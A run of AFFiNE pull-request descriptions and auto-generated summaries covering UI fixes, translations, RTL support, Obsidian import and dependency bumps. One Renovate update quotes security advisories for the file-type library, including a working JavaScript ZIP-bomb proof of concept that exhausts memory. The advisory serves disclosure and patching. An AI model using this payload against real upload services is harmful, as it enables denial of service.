* Added unit tests covering OIDC behaviors, backoff scheduler/promise
utilities, and frontend OAuth flow parsing/redirect logic.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14191
#### PR Dependency Tree
* **PR #14688** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved indexer synchronization timing for clock persistence to
prevent premature completion signals
* Enhanced document-level indexing status tracking accuracy
* Optimized refresh behavior for better state consistency
* **Chores**
* Updated indexer versioning system
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
### Problem
●In edgeless mode, when using Shift + click to perform range selection
inside an editing `note-edgeless-block` (click at the starting point,
then hold Shift and click at the end point), the block will unexpectedly
lose its editing and selection state. As a result, subsequent operations
on the selection - such as deleting and moving - no longer work.
●The following video demonstrates this issue:
https://github.com/user-attachments/assets/82c68683-e002-4a58-b011-fe59f7fc9f02
### Solution
●The reason is that this "Shift + click" behavior is being handled by
the default multi-selection logic, which toggles selection mode and
exits the editing state. So I added an `else-if` branch to match this
case.
### After
●The video below shows the behavior after this fix.
https://github.com/user-attachments/assets/18d61108-2089-4def-b2dc-ae13fc5ac333
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved selection behavior during note editing in multi-select mode
to provide more intuitive interaction when using range selection during
active editing.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Problem
The Arabic locale strings in `ar.json` use the Arabic comma `،` (U+060C)
as separator:
```json
"com.affine.calendar-date-picker.week-days": "أ،إث،ث،أر،خ،ج،س"
```
But `day-picker.tsx` splits on ASCII comma only — causing all
weekday/month names to render as a single unsplit string in Arabic
locale.
## Fix
Change `.split(',')` to `.split(/[,،]/)` in two call sites — matches
both ASCII and Arabic comma.
## Impact
One-line fix per call site. No other functionality affected. All
non-Arabic locales unchanged.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Date picker rendering updated to correctly handle both ASCII and
Arabic/Persian comma formats when determining month and weekday labels.
This fixes inconsistent header and month-name displays in locales using
different comma characters while preserving existing interactions and
behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Updated the Exa search tool description to better reflect what Exa does.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Clarified the web search tool description to state it uses Exa, a web
search API optimized for AI applications to improve labeling and user
understanding.
* No functional or behavioral changes to the tool; this update affects
only the displayed description users see.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
Co-authored-by: ishan <ishan@exa.ai>
## Summary
Replace post-command status checks with inline failure handling around
`sed` calls.
In the stream update path, ensure the two `sed` operations are treated
as one success/failure unit.
Keep behavior and file outputs the same on success, while making failure
handling explicit.
## Why
When `set -e` is enabled (which the script itself enables) command
failures cause the script to exit, making error handling by checking
`$?` not work.
## Files affected
- `set-version.sh`
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Enhanced error handling in version management script with improved
failure reporting and context information.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#13923
#### PR Dependency Tree
* **PR #14680** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Style**
* Refined styling and alignment for number field displays in the
database view component.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14529fix#14612
replace #14614#14657
#### PR Dependency Tree
* **PR #14677** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Tests**
* Added test coverage for scroll position tracking and pinned scroll
behavior in AI chat
* Added test suite verifying scroll-to-end and scroll-to-position
functionality
* **New Features**
* Introduced configurable scrollable option for text rendering in AI
chat components, allowing control over scroll behavior
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Prevents layout shift when showing auth input errors by reserving space
for the error message. Improves visual stability and avoids UI jumps
when validation errors appear.
### Before
https://github.com/user-attachments/assets/7439aa5e-069d-42ac-8963-e5cdee341ad9
### After
https://github.com/user-attachments/assets/8e758452-5323-4807-8a0d-38913303020d
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Improved error message display mechanism in authentication components
for more consistent rendering.
* **Style**
* Enhanced vertical spacing for error messages in form inputs to ensure
better visual consistency and readability.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fixes#14407
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Corrected grammar in the notification message displayed when an
invitation is accepted.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Enhanced German language support with new translations for Obsidian
import, MCP server integration, and Copilot features. Improved error
message translations for better clarity and consistency.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
### Summary
This PR improves the verify email dialog by giving the verify-email and
change-email flows distinct messaging instead of reusing the same
generic copy.
### What changed
* Use flow-specific body copy in the verify email dialog
* Keep the existing action-specific subtitle behavior for:
* Verify email
* Change email
* Update the English i18n strings so each flow explains the correct
intent:
* Verify email focuses on confirming email ownership
* Change email focuses on securely starting the email-change process
### Why
The previous dialog message was shared across both flows, which made the
change-email experience feel ambiguous. This update makes the intent
clearer for users and better matches the action they are taking.
https://www.loom.com/share/c64c20570a8242358bd178a2ac50e413
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved clarity in email verification and email change dialog
messages to better explain the confirmation process and link purpose.
* Enhanced distinction between email verification and email change
workflows with context-specific messaging.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14592
### Description
> 🤖 **Note:** The code in this Pull Request were developed with the
assistance of AI, but have been thoroughly reviewed and manually tested.
> I noticed there's a check when opening an issue that asks _"Is your
content generated by AI?"_, so I mention it here in case it's a deal
breaker. If so I understand, you can close the PR, just wanted to share
this in case it's useful anyways.
This PR introduces **Obsidian Vault Import Support** to AFFiNE.
Previously, users migrating from Obsidian had to rely on the generic
Markdown importer, which often resulted in broken cross-links, missing
directory structures, and metadata conflicts because Obsidian relies
heavily on proprietary structures not supported by standard Markdown.
This completely new feature makes migrating to AFFiNE easy.
**Key Features & Implementations:**
1. **Vault (Directory) Selection**
- Utilizes the `openDirectory` blocksuite utility in the import modal to
allow users to select an entire folder directly from their filesystem,
maintaining file context rather than forcing `.zip` uploads.
2. **Wikilink Resolution (Two-Pass Import)**
- Restructured the `importObsidianVault` process into a two-pass
architecture.
- **Pass 1:** Discovers all files, assigns new AFFiNE document IDs, and
maps them efficiently (by title, alias, and filename) into a
high-performance hash map.
- **Pass 2:** Processes the generic markdown AST and correctly maps
custom `[[wikilinks]]` to the actual pre-registered AFFiNE blocksuite
document IDs via `obsidianWikilinkToDeltaMatcher`.
- Safely strips leading emojis from wikilink aliases to prevent
duplicated page icons rendering mid-sentence.
3. **Emoji Metadata & State Fixes**
- Implemented an aggressive, single-pass RegExp to extract multiple
leading/combining emojis (`Emoji_Presentation` / `\ufe0f`) from H1
headers and Frontmatter. Emojis are assigned specifically to the page
icon metadata property and cleanly stripped from the visual document
title.
- Fixed a core mutation bug where the loop iterating over existing
`docMetas` was aggressively overwriting newly minted IDs for the current
import batch. This fully resolves the issue where imported pages
(especially re-imports) were incorrectly flagged as `trashed`.
- Enforces explicit `trash: false` patch instructions.
4. **Syntax Conversion**
- Implemented conversion of Obsidian-style Callouts (`> [!NOTE] Title`)
into native AFFiNE block formats (`> 💡 **Title**`).
- Hardened the `blockquote` parser so that nested structures (like `> -
list items`) are fully preserved instead of discarded.
### UI Changes
- Updated the Import Modal to include the "Import Obsidian Vault" flow
utilizing the native filesystem directory picker.
- Regenerated and synced `i18n-completenesses.json` correctly up to 100%
across all supported locales for the new modal string additions.
### Testing Instructions
1. Navigate to the Workspace sidebar and click "Import".
2. Select "Obsidian" and use the directory picker to define a
comprehensive Vault folder.
3. Validate that cross-links between documents automatically resolve to
their specific AFFiNE instances.
4. Validate documents containing leading Emojis display exactly one
Emoji (in the page icon area), and none duplicated in the actual title
header.
5. Validate Callouts are rendered cleanly and correctly, and no
documents are incorrectly marked as "Trash".
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Import Obsidian vaults with wikilink resolution, emoji/title
preservation, asset handling, and automatic document creation.
* Folder-based imports via a Directory Picker (with hidden-input
fallback) integrated into the import dialog.
* **Localization**
* Added Obsidian import label and tooltip translations.
* **Tests**
* Added end-to-end tests validating Obsidian vault import and asset
handling.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
Co-authored-by: DarkSky <darksky2048@gmail.com>
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Centralized sync/status messages for cloud document sync and explicit
user-facing error types.
* Frontend helpers to detect and display tool errors with friendly
names.
* **Bug Fixes**
* Consistent, actionable error reporting for document and attachment
reads instead of silent failures.
* Search and semantic tools now validate workspace sync and permissions
and return clear responses.
* **Tests**
* Added comprehensive tests covering document/blob reads, search tools,
and sync/error paths.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR contains the following updates:
| Package | Update | Change |
|---|---|---|
| [Lakr233/ListViewKit](https://redirect.github.com/Lakr233/ListViewKit)
| minor | `from: "1.1.8"` → `from: "1.2.0"` |
---
### Release Notes
<details>
<summary>Lakr233/ListViewKit (Lakr233/ListViewKit)</summary>
###
[`v1.2.0`](https://redirect.github.com/Lakr233/ListViewKit/compare/1.1.8...1.2.0)
[Compare
Source](https://redirect.github.com/Lakr233/ListViewKit/compare/1.1.8...1.2.0)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My41OS4wIiwidXBkYXRlZEluVmVyIjoiNDMuNTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [file-type](https://redirect.github.com/sindresorhus/file-type) |
[`21.3.1` →
`21.3.2`](https://renovatebot.com/diffs/npm/file-type/21.3.1/21.3.2) |

|

|
### GitHub Vulnerability Alerts
####
[CVE-2026-31808](https://redirect.github.com/sindresorhus/file-type/security/advisories/GHSA-5v7r-6r5c-r473)
### Impact
A denial of service vulnerability exists in the ASF (WMV/WMA) file type
detection parser. When parsing a crafted input where an ASF sub-header
has a `size` field of zero, the parser enters an infinite loop. The
`payload` value becomes negative (-24), causing
`tokenizer.ignore(payload)` to move the read position backwards, so the
same sub-header is read repeatedly forever.
Any application that uses `file-type` to detect the type of
untrusted/attacker-controlled input is affected. An attacker can stall
the Node.js event loop with a 55-byte payload.
### Patches
Fixed in version 21.3.1. Users should upgrade to >= 21.3.1.
### Workarounds
Validate or limit the size of input buffers before passing them to
`file-type`, or run file type detection in a worker thread with a
timeout.
### References
- Fix commit: 319abf871b50ba2fa221b4a7050059f1ae096f4f
### Reporter
crnkovic@lokvica.com
####
[CVE-2026-32630](https://redirect.github.com/sindresorhus/file-type/security/advisories/GHSA-j47w-4g3g-c36v)
## Summary
A crafted ZIP file can trigger excessive memory growth during type
detection in `file-type` when using `fileTypeFromBuffer()`,
`fileTypeFromBlob()`, or `fileTypeFromFile()`.
In affected versions, the ZIP inflate output limit is enforced for
stream-based detection, but not for known-size inputs. As a result, a
small compressed ZIP can cause `file-type` to inflate and process a much
larger payload while probing ZIP-based formats such as OOXML. In testing
on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB`
of RSS growth during `fileTypeFromBuffer()`.
This is an availability issue. Applications that use these APIs on
untrusted uploads can be forced to consume large amounts of memory and
may become slow or crash.
## Root Cause
The ZIP detection logic applied different limits depending on whether
the tokenizer had a known file size.
For stream inputs, ZIP probing was bounded by
`maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as
buffers, blobs, and files, the code instead used
`Number.MAX_SAFE_INTEGER` in two relevant places:
```js
const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)
? maximumZipEntrySizeInBytes
: Number.MAX_SAFE_INTEGER;
```
and:
```js
const maximumLength = hasUnknownFileSize(this.tokenizer)
? maximumZipEntrySizeInBytes
: Number.MAX_SAFE_INTEGER;
```
Together, these checks allowed a crafted ZIP to bypass the intended
inflate limit for known-size APIs and force large decompression during
detection of entries such as `[Content_Types].xml`.
## Proof of Concept
```js
import {fileTypeFromBuffer} from 'file-type';
import archiver from 'archiver';
import {Writable} from 'node:stream';
async function createZipBomb(sizeInMegabytes) {
return new Promise((resolve, reject) => {
const chunks = [];
const writable = new Writable({
write(chunk, encoding, callback) {
chunks.push(chunk);
callback();
},
});
const archive = archiver('zip', {zlib: {level: 9}});
archive.pipe(writable);
writable.on('finish', () => {
resolve(Buffer.concat(chunks));
});
archive.on('error', reject);
const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">';
const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);
archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});
archive.finalize();
});
}
const zip = await createZipBomb(256);
console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));
const before = process.memoryUsage().rss;
await fileTypeFromBuffer(zip);
const after = process.memoryUsage().rss;
console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));
```
Observed on `file-type` `21.3.1`:
- ZIP size: about `255 KB`
- RSS growth during detection: about `257 MB`
## Affected APIs
Affected:
- `fileTypeFromBuffer()`
- `fileTypeFromBlob()`
- `fileTypeFromFile()`
Not affected:
- `fileTypeFromStream()`, which already enforced the ZIP inflate limit
for unknown-size inputs
## Impact
Applications that inspect untrusted uploads with `fileTypeFromBuffer()`,
`fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume
excessive memory during ZIP-based type detection. This can degrade
service or lead to process termination in memory-constrained
environments.
## Cause
The issue was introduced in 399b0f1
---
### Release Notes
<details>
<summary>sindresorhus/file-type (file-type)</summary>
###
[`v21.3.2`](https://redirect.github.com/sindresorhus/file-type/releases/tag/v21.3.2)
[Compare
Source](https://redirect.github.com/sindresorhus/file-type/compare/v21.3.1...v21.3.2)
- Fix ZIP bomb in known-size ZIP probing (GHSA-j47w-4g3g-c36v)
[`a155cd7`](https://redirect.github.com/sindresorhus/file-type/commit/a155cd7)
- Fix bound recursive BOM and ID3 detection
[`370ed91`](https://redirect.github.com/sindresorhus/file-type/commit/370ed91)
***
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
The Renovate config in this repository needs migrating. Typically this
is because one or more configuration options you are using have been
renamed.
You don't need to merge this PR right away, because Renovate will
continue to migrate these fields internally each time it runs. But later
some of these fields may be fully deprecated and the migrations removed.
So it's a good idea to merge this migration PR soon.
🔕 **Ignore**: Close this PR and you won't be reminded about config
migration again, but one day your current config may no longer be valid.
❓ Got questions? Does something look wrong to you? Please don't hesitate
to [request help
here](https://redirect.github.com/renovatebot/renovate/discussions).
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Fixes#14304
## Summary
This PR resolves an issue where images sometimes fail to appear when
exporting or printing AFFiNE pages to PDF. The issue occurs because
images may not finish loading inside the hidden print iframe before
`window.print()` is triggered.
## Changes
- Avoid using `display: none` for the print iframe and instead keep it
hidden while remaining in the rendering tree to ensure resources load
correctly.
- Remove `loading="lazy"` from all images before printing to prevent
viewport-based lazy loading from blocking image fetches.
- Force image reload by reassigning the `src` attribute after removing
lazy loading.
- Add a `waitForImages` helper to ensure all images (including those
inside Shadow DOM) finish loading before calling `window.print()`.
- Improve reliability by checking both `img.complete` and
`img.naturalWidth` to confirm successful image loading.
- Wait for fonts using `document.fonts.ready` before triggering the
print dialog.
## Verification
1. Run AFFiNE in development mode: npm run dev
2. Open a page containing multiple images.
3. Click **Print** and select **Save as PDF** (or any PDF printer).
4. Verify that all images appear correctly in the generated PDF.
## Notes
This change focuses only on improving the reliability of the existing
print-to-PDF workflow without altering any feature flags or export
behavior.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved PDF export reliability by waiting for all images (including
inside shadow content) and fonts to load before printing.
* Removed lazy-loading interference so images reliably appear in
exports.
* Ensured styles and light-theme attributes are consistently applied to
the print document.
* **Improvements**
* More robust print preparation using a hidden-but-rendering iframe
document, deep-cloning content (flattening shadow DOM), and preserved
canvas mapping for accurate renders.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Changes
### RTL Support (automatic, locale-driven)
- Add `rtl?: boolean` metadata to locale definitions in
`SUPPORTED_LANGUAGES`
- Set `rtl: true` for Arabic (`ar`), Persian (`fa`), and Urdu (`ur`)
- Automatically set `document.documentElement.dir` based on locale RTL
metadata on language change
- Remove hardcoded `lang="en"` from HTML template — JS now controls both
`lang` and `dir`
### Arabic Translations
- Add 100 missing keys to `ar.json` (Calendar integration, Doc
Analytics, MCP Server, AI Chat, and more)
- Arabic locale now has 2,313/2,313 keys (100% coverage, matches
`en.json` exactly)
## Testing
Switching to Arabic/Persian/Urdu now automatically flips the entire UI
layout to RTL without any manual feature flag.
Fixes#7099
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added Right-to-Left (RTL) support for Arabic, Persian, and Urdu with
automatic document direction and language attributes when a language is
selected.
* **Refactor**
* Centralized and reordered internal language handling so document
language and direction are applied earlier and consistently.
* **Chore**
* Set a default text direction attribute on the base HTML template.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Fixes#14608
## Summary
Fix printing issues when exporting documents while using the dark theme.
Previously, when printing or saving a document as PDF in dark mode, text
color was forced to black while some block containers (such as code
blocks and quotes) retained their dark backgrounds. This resulted in
**black text on dark backgrounds**, making the content unreadable in the
exported PDF.
## Changes
* Reset relevant CSS variables in the `@media print` section of
`print-to-pdf.ts`.
* Ensure block containers such as **code blocks and quotes** render with
light backgrounds during printing.
* Maintain readable text colors by forcing text color to black for print
output.
This approach updates the **CSS variables used by BlockSuite
components**, ensuring that elements relying on variables like
`--affine-background-code-block` and `--affine-quote-color` correctly
switch to light backgrounds in print mode.
## Result
Documents printed or exported as PDF from dark mode now render correctly
with:
* readable text
* proper light backgrounds for code blocks and quotes
* consistent formatting in print output
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Style**
* Enhanced print-to-PDF styling for improved visual presentation of code
blocks, quotes, and borders when exporting or printing documents to
maintain better readability and consistency.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Co-authored-by: sahilkhan09k <sahilkhan392005@gmail.com>
#### PR Dependency Tree
* **PR #14620** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Native LLM workflows: structured outputs, embeddings, and reranking
plus richer multimodal attachments (images, audio, files) and improved
remote-attachment inlining.
* **Refactor**
* Tooling API unified behind a local tool-definition helper;
provider/adapters reorganized to route through native dispatch paths.
* **Chores**
* Dependency updates, removed legacy Google SDK integrations, and
increased front memory allocation.
* **Tests**
* Expanded end-to-end and streaming tests exercising native provider
flows, attachments, and rerank/structured scenarios.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Why
When using AWS Cognito as OIDC provider, AFFiNE returns a zod parsing
error because AWS returns `email_verified` as a string in the userinfo
response.
```json
{
"sub": "[UUID]",
"email_verified": "true",
"custom:mycustom1": "CustomValue",
"phone_number_verified": "true",
"phone_number": "+12065551212",
"email": "bob@example.com",
"username": "bob"
}
```
Reference:
https://docs.aws.amazon.com/cognito/latest/developerguide/userinfo-endpoint.html#get-userinfo-response-sample
Error returned in AFFiNE frontend:
```
Validation error, errors: [ { "code": "invalid_type", "expected": "boolean", "received": "string", "path": [ "email_verified" ], "message": "Expected boolean, received string" } ]
```
## What
I'm adjusting the existing `OIDCUserInfoSchema` to allow `z.boolean()`
and `z.enum(['true', 'false', '0', '1', 'yes', 'no'])`.
This matches with [our `extractBoolean` function in the
`OIDCProvider`](https://github.com/KennethWussmann/AFFiNE/blob/82e6239957db5f3754cde8ad968db62bc4ffad6a/packages/backend/server/src/plugins/oauth/providers/oidc.ts#L269-L285),
which already parses string as booleans in `email_verified`. But because
the userinfo response is parsed with zod first, it's failing before
reaching our `extractBoolean`.
> [!NOTE]
> We are using zod v3. In zod v4 they [added support for
`z.stringbool()`](https://zod.dev/api?id=stringbool) which would make
this easier.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
## Release Notes
* **Bug Fixes**
* Enhanced OpenID Connect provider authentication to accept flexible
formats for email verification status, including various string
representations alongside boolean values.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14583** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added Gemini 3.1 Pro Preview support (text, image, audio) and new
GPT‑5 variants as defaults; centralized persistent telemetry state for
more reliable client identity.
* **UX**
* Improved model submenu placement in chat preferences.
* More robust mindmap parsing, preview, regeneration and replace
behavior.
* **Chores**
* Bumped AI SDK and related dependencies.
* **Tests**
* Expanded/updated tests and increased timeouts for flaky flows.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14591** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* New canvas renderer debug metrics and controls for runtime inspection.
* Mindmap/group reordering now normalizes group targets, improving
reorder consistency.
* **Bug Fixes**
* Fixed connector behavior for empty/degenerate paths.
* More aggressive viewport invalidation so structural changes display
correctly.
* Improved z-index synchronization during transforms and layer updates.
* **Performance**
* Retained DOM caching for brushes, shapes, and connectors to reduce DOM
churn.
* Targeted canvas refreshes, pooling, and reuse to lower redraw and
memory overhead.
* **Tests**
* Added canvas renderer performance benchmarks and curve edge-case unit
tests.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#13842
#### PR Dependency Tree
* **PR #14588** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Images are now processed natively and converted to WebP for smaller,
optimized files; Copilot and avatar attachments use the processed WebP
output.
* Avatar uploads accept BMP, GIF, JPEG, PNG, WebP (5MB max) and are
downscaled to a standard edge.
* **Error Messages / i18n**
* Added localized error "Image format not supported: {format}".
* **Tests**
* Added end-to-end and unit tests for conversion, EXIF preservation, and
upload limits.
* **Chores**
* Added native image-processing dependencies.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14569** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Upgraded development test tooling to Vitest v4 and added Playwright
browser test integration; normalized test configurations and CI shard
matrix.
* **Tests**
* Added a large suite of new integration tests covering editor flows
(edgeless, database, embeds, images, latex, code, clipboard,
multi-editor, presentation, undo/redo, etc.).
* Removed numerous end-to-end Playwright test suites across the same
feature areas.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14580** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Markdown conversion now reports lists of known-unsupported and unknown
block identifiers encountered during parsing, and separates them from
the main markdown output.
* **Bug Fixes**
* Improved error handling and logging around markdown parsing.
* **Tests**
* Updated tests and snapshots to reflect the new block-list fields and
the adjusted markdown output.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
### Problem
●In edgeless mode, when the `note-edgeless-block` is scaled below 100%,
its outer dimension becomes larger than its content region. This extra
invisible region will block some user interactions such as clicks and
hovers on editing elements underneath.
<img width="1060" height="541" alt="note-elem-block-click"
src="https://github.com/user-attachments/assets/860d7a4f-d159-437b-bbe8-4560e2463e3d"
/>
●The following video demonstrates this issue:
https://github.com/user-attachments/assets/3b719b25-0d7e-496b-9507-6aa65ed0a797
### Solution
●The root cause is that `transform: scale(...)` CSS property (which
implements the scale) is currently applyed to its **inner root element**
instead of itself, and the solution is to move this CSS property to the
proper place.
### After
●The video below shows the behavior after this fix.
https://github.com/user-attachments/assets/e2dbd75d-c2ea-460d-90a1-5cc13e12d5b8
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Centralized CSS scaling for graphics and edgeless note blocks into
dedicated public methods; rendering now uses these methods instead of
inline transform calculations.
* **Tests**
* Updated end-to-end checks to read scale directly from the edgeless
note element and use a more flexible transform-matching pattern.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14579** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Full JSON-RPC MCP endpoint with batch requests, per-message
validation, method dispatch (initialize, ping, tools/list, tools/call)
and request cancellation
* Tool listing and execution with input validation, standardized
results, and improved error responses
* **Chores**
* Removed an external protocol dependency
* Bumped MCP server version to 1.0.1
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
### Problem
●Similar to
[PR#14015](https://github.com/toeverything/AFFiNE/pull/14015), the
container's own scaling factor (`viewScale`) was not taken into account.
This time the issue affects **non-canvas blocks** (e.g. `edgeless-note`,
`edgeless-image`, and any component extending `GfxBlockComponent`).
●The follwing image and video show the case when zoom is 0.5.
<img width="822" height="414" alt="图片"
src="https://github.com/user-attachments/assets/cee1cb88-2764-443c-aa7a-0443308b0e29"
/>
https://github.com/user-attachments/assets/3c744579-16c4-4f10-b421-e0606da1269f
### Solution
●Incorporated `viewScale` into the CSS `translate` calculation for all
`GfxBlockComponent` instances.
### Additional Improvement
●Minor refactor: the class returned by `toGfxBlockComponent()` now
reuses the original `getCSSTransform()` implementation from
`GfxBlockComponent.prototype` via `.call(this)`, eliminating duplicated
code.
### After
●The refined is as follows.
https://github.com/user-attachments/assets/24de0429-63a3-45a7-9b31-d91a4279e233
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Improved viewport scaling so visual transforms (translation and zoom)
correctly account for view scale, yielding more consistent rendering
during zoom and pan.
* Centralized transform calculation to a shared implementation, reducing
duplication and ensuring uniform behavior across views.
<sub>✏️ Tip: You can customize this high-level summary in your review
settings.</sub>
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
fix#14562fix#14226fix#14192
#### PR Dependency Tree
* **PR #14564** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* SMTP and fallback SMTP name now default to empty and will use the
system hostname when not set.
* HELO hostname resolution includes stricter normalization/validation
for more reliable mail handshakes.
* **Documentation**
* Updated admin and config descriptions to explain hostname/HELO
behavior and fallback.
* **Tests**
* Added tests covering hostname normalization and rejection of invalid
